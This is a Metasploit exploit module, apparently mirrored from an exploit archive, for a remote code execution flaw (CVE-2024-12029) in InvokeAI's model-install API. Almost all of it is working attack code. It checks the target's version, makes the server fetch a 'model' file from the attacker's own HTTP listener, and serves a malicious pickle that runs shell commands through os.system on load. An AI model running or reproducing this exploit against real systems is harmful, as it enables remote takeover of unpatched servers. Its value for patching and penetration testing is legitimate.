Share
## https://sploitus.com/exploit?id=PACKETSTORM:189315
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'InvokeAI RCE',
            'Description' => %q{
              InvokeAI has a critical vulnerability leading to remote code execution in the /api/v2/models/install API through unsafe model deserialization.
              The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.
              This functionality allows attackers to embed malicious code in model files that execute upon loading.
            },
            'Author' => [
              'jackfromeast',     # Vulnerability discovery and PoC
              'Takahiro Yokoyama' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2024-12029'],
              ['URL', 'https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3'],
            ],
            'Platform' => %w[linux],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
                }
              ],
            ],
            'DefaultOptions' => {
              'FETCH_DELETE' => true
            },
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => '\'"'
            },
            'Stance' => Msf::Exploit::Stance::Aggressive,
            'DisclosureDate' => '2025-02-07',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
        register_options(
          [
            Opt::RPORT(9090),
          ]
        )
    
        register_advanced_options([
          OptPort.new('SRVPORT', [true, 'The local port to listen HTTP requests from target', 8081 ]),
          OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
        ])
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/app/version')
        })
        return Exploit::CheckCode::Unknown unless res&.code == 200
    
        json_version = res&.get_json_document&.fetch('version', nil)
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version
    
        version = Rex::Version.new(json_version)
        return Exploit::CheckCode::Unknown('Failed to get version.') unless version
    
        return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('5.4.2'))
    
        Exploit::CheckCode::Appears("Version #{version} detected.")
      end
    
      def on_request_uri(cli, _request)
        send_response(cli, Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')"))
      end
    
      def primer
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2/models/install'),
          'headers' => { 'Content-Type' => 'application/json' },
          'vars_get' => {
            # Malicious model path, not .pkl
            'source' => "#{get_uri}/#{rand_text_alpha(8)}.ckpt",
            'inplace' => 'true'
          },
          'data' => {}.to_json
        })
        fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 201
      end
    
      def exploit
        Timeout.timeout(datastore['HTTPDELAY']) { super }
      rescue Timeout::Error
        # When the server stops due to our timeout, this is raised
      end
    
    end